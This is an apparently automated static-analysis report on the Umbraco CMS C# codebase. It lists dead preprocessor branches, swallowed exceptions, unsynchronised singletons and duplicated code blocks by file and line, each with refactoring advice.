DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/Scope.cs:460— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/ScopeProvider.cs:12— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/ScopeProvider.cs:260— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch src/Umbraco.Infrastructure/Scoping/ScopeProvider.cs:457— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch tests/Umbraco.Tests.UnitTests/Umbraco.Infrastructure/Migrations/MigrationTests.cs:16— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch tests/Umbraco.Tests.UnitTests/Umbraco.Infrastructure/Migrations/MigrationTests.cs:57— #if DEBUG_SCOPES — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
DeadPreprocessorBranch tests/Umbraco.Tests.Integration/DependencyInjection/UmbracoBuilderExtensions.cs:55— #if IS_WINDOWS — no definition of that symbol was found anywhere this analysis looks: not in a <DefineConstants> in any project file, props or targets under any condition, not on a build script's command line, not in a #define, and not in a project-template manifest; nor is it one the compiler or SDK defines itself. On that evidence the condition is decided the same way in every configuration this repository can build, and the code on the dead side of it never compiles — including the part a reader will assume is what ships. Either define the symbol in the configuration that is supposed to have it, or delete the branch and keep the behaviour you are actually shipping. If some other mechanism binds it, that mechanism is outside the list above and this row is a gap in what we read, not a fact about your code.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Extensions/ObjectExtensions.cs:572— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Extensions/ObjectExtensions.cs:605— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Extensions/ObjectExtensions.cs:617— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:127— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/HealthChecks/Checks/Services/SmtpCheck.cs:63— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/IO/IOHelperExtensions.cs:51— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Media/TypeDetector/SvgDetector.cs:23— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Models/Blocks/BlockEditorDataConverter.cs:43— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/PropertyEditors/ValueConverters/XmlValueTypeConverter.cs:45— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Security/Authorization/IAuthorizationHelper.cs:34— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Core/Semver/SemVersion.cs:182— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Infrastructure/Install/FilePermissionHelper.cs:165— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Infrastructure/Install/FilePermissionHelper.cs:198— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Infrastructure/Install/FilePermissionHelper.cs:255— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/StylesheetRepository.cs:54— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Infrastructure/Security/UmbracoPasswordHasher.cs:108— `catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Examine.Lucene/Extensions/ExamineExtensions.cs:38— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Web.Common/Extensions/ViewDataExtensions.cs:78— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Swallowed exception (caught, then discarded) src/Umbraco.Cms.Api.Management/Security/BackOfficeSecureDataFormat.cs:83— `catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter.
Stateful singleton: HtmlImageSourceParser src/Umbraco.Core/Templates/HtmlImageSourceParser.cs:13— `HtmlImageSourceParser` is a singleton (one shared instance) but mutates instance state outside any lock (_getMediaUrl; e.g. `_getMediaUrl` at line 104).
Stateful singleton: UmbracoDatabaseFactory src/Umbraco.Infrastructure/Persistence/UmbracoDatabaseFactory.cs:33— `UmbracoDatabaseFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_dbProviderFactory, _upgrading; e.g. `_dbProviderFactory` at line 114).
Stateful singleton: RuntimeState src/Umbraco.Infrastructure/Runtime/RuntimeState.cs:20— `RuntimeState` is a singleton (one shared instance) but mutates instance state outside any lock (Level, Reason, BootFailedException, _startupState, CurrentMigrationState, FinalMigrationState; e.g. `Level` at line 127).
Stateful singleton: MigrationCoordinator src/Umbraco.Infrastructure/Install/MigrationCoordinator.cs:16— `MigrationCoordinator` is a singleton (one shared instance) but mutates instance state outside any lock (_leaderClaim; e.g. `_leaderClaim` at line 136).
Stateful singleton: MigrationPlanExecutor src/Umbraco.Infrastructure/Migrations/MigrationPlanExecutor.cs:42— `MigrationPlanExecutor` is a singleton (one shared instance) but mutates instance state outside any lock (_rebuildCache, _invalidateBackofficeUserAccess; e.g. `_rebuildCache` at line 154).
Stateful singleton: ContentIndexPopulator src/Umbraco.Infrastructure/Examine/ContentIndexPopulator.cs:17— `ContentIndexPopulator` is a singleton (one shared instance) but mutates instance state outside any lock (_publishedQuery; e.g. `_publishedQuery` at line 123).
Stateful singleton: FileSystems src/Umbraco.Core/IO/FileSystems.cs:12— `FileSystems` is a singleton (one shared instance) but mutates instance state outside any lock (_stylesheetsFileSystem; e.g. `_stylesheetsFileSystem` at line 203).
Stateful singleton: SingleBlockListConfigurationCache src/Umbraco.Infrastructure/Migrations/Upgrade/V_18_0_0/SingleBlockList/SingleBlockListConfigurationCache.cs:13— `SingleBlockListConfigurationCache` is a singleton (one shared instance) but mutates instance state outside any lock (_singleBlockListDataTypes; e.g. `_singleBlockListDataTypes` at line 44).
Stateful singleton: ConfigurationEnabledDirectoryFactory src/Umbraco.Examine.Lucene/ConfigurationEnabledDirectoryFactory.cs:17— `ConfigurationEnabledDirectoryFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_directoryFactory; e.g. `_directoryFactory` at line 36).
Stateful singleton: MemberPresentationFactory src/Umbraco.Cms.Api.Management/Factories/MemberPresentationFactory.cs:20— `MemberPresentationFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_clientCredentialsMemberKeys; e.g. `_clientCredentialsMemberKeys` at line 244).
Stateful singleton: ServerEventAuthorizationService src/Umbraco.Cms.Api.Management/ServerEvents/ServerEventAuthorizationService.cs:7— `ServerEventAuthorizationService` is a singleton (one shared instance) but mutates instance state outside any lock (_groupedAuthorizersByEventSource; e.g. `_groupedAuthorizersByEventSource` at line 30).
Stateful singleton: DocumentCacheService src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:27— `DocumentCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 71).
Stateful singleton: MediaCacheService src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs:26— `MediaCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 68).
Stateful singleton: ElementCacheService src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:19— `ElementCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 58).
Stateful singleton: CompilationOptionsProvider src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/CompilationOptionsProvider.cs:19— `CompilationOptionsProvider` is a singleton (one shared instance) but mutates instance state outside any lock (_parseOptions, _compilationOptions, _emitOptions, _optionsInitialized, _emitPdb; e.g. `_parseOptions` at line 73).
Stateful singleton: InMemoryAssemblyLoadContextManager src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryAssemblyLoadContextManager.cs:6— `InMemoryAssemblyLoadContextManager` is a singleton (one shared instance) but mutates instance state outside any lock (_currentAssemblyLoadContext, _modelsAssemblyLocation; e.g. `_currentAssemblyLoadContext` at line 39).
Duplicated block (13 lines × 2) src/Umbraco.Core/GuidUtils.cs:86— src/Umbraco.Core/GuidUtils.cs:86-98 | src/Umbraco.Core/GuidUtils.cs:104-116 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TagRepository.cs:554— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TagRepository.cs:554-566 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TagRepository.cs:580-592 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TagRepository.cs:554` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Api.Delivery/Configuration/ConfigureUmbracoDeliveryHttpJsonOptions.cs:34— src/Umbraco.Cms.Api.Delivery/Configuration/ConfigureUmbracoDeliveryHttpJsonOptions.cs:34-46 | src/Umbraco.Cms.Api.Management/Serialization/ConfigureUmbracoBackofficeHttpJsonOptions.cs:34-46 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Delivery/Configuration/ConfigureUmbracoDeliveryHttpJsonOptions.cs:34` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Document/CopyDocumentController.cs:65— src/Umbraco.Cms.Api.Management/Controllers/Document/CopyDocumentController.cs:65-77 | src/Umbraco.Cms.Api.Management/Controllers/Document/MoveDocumentController.cs:66-78 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Document/CopyDocumentController.cs:65` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:86— src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:86-98 | src/Umbraco.Cms.Api.Management/Services/FileSystem/FileSystemTreeServiceBase.cs:26-38 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:86` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:99— src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:99-111 | src/Umbraco.Cms.Api.Management/Mapping/Content/ContentMapDefinition.cs:39-51 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Factories/DocumentEditingPresentationFactory.cs:99` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `properties` to `IPropertyCollection` in one and `IEnumerable<IProperty>` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentVersionMapDefinition.cs:42— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentVersionMapDefinition.cs:42-54 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementVersionMapDefinition.cs:38-50 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentVersionMapDefinition.cs:42` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IContent` in one and `IElement` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (13 lines × 2) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:726— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:726-738 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1372-1384 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:726` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13 lines × 2) src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:469— src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:469-481 | src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:292-304 — before extracting anything, compare `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs` and `src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 60 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13 lines × 2) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:35— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:35-47 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:41-53 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (13 lines × 2) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:55— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:55-67 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:61-73 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (13 lines × 2) src/Umbraco.Core/PropertyEditors/ContentPickerPropertyEditor.cs:96— src/Umbraco.Core/PropertyEditors/ContentPickerPropertyEditor.cs:96-108 | src/Umbraco.Core/PropertyEditors/MemberPickerPropertyEditor.cs:91-103 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (13 lines × 2) src/Umbraco.Core/Services/ElementContainerPermissionService.cs:63— src/Umbraco.Core/Services/ElementContainerPermissionService.cs:63-75 | src/Umbraco.Core/Services/ElementPermissionService.cs:120-132 — before extracting anything, compare `src/Umbraco.Core/Services/ElementContainerPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 71 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 2) src/Umbraco.Core/Services/ElementContainerPermissionService.cs:79— src/Umbraco.Core/Services/ElementContainerPermissionService.cs:79-91 | src/Umbraco.Core/Services/ElementPermissionService.cs:136-148 — before extracting anything, compare `src/Umbraco.Core/Services/ElementContainerPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 71 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Persistence.Sqlite/Mappers/SqlitePocoDateAndTimeOnlyMapper.cs:36— src/Umbraco.Cms.Persistence.Sqlite/Mappers/SqlitePocoDateAndTimeOnlyMapper.cs:36-48 | src/Umbraco.Infrastructure/Mapping/UmbracoDefaultMapper.cs:48-60 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 2) src/Umbraco.Cms.Persistence.Sqlite/Mappers/SqlitePocoDateAndTimeOnlyMapper.cs:51— src/Umbraco.Cms.Persistence.Sqlite/Mappers/SqlitePocoDateAndTimeOnlyMapper.cs:51-63 | src/Umbraco.Infrastructure/Mapping/UmbracoDefaultMapper.cs:63-75 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1513— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1513-1520 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1521-1531 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:317— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:317-324 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:197-204 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IContentType` in one and `IMemberType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:321— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:321-328 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:138-145 — before extracting anything, compare `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 32 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:321` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IContentType` in one and `IMediaType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:329` calls `PersistTemplates`, `PersistHistoryCleanup` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:147` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
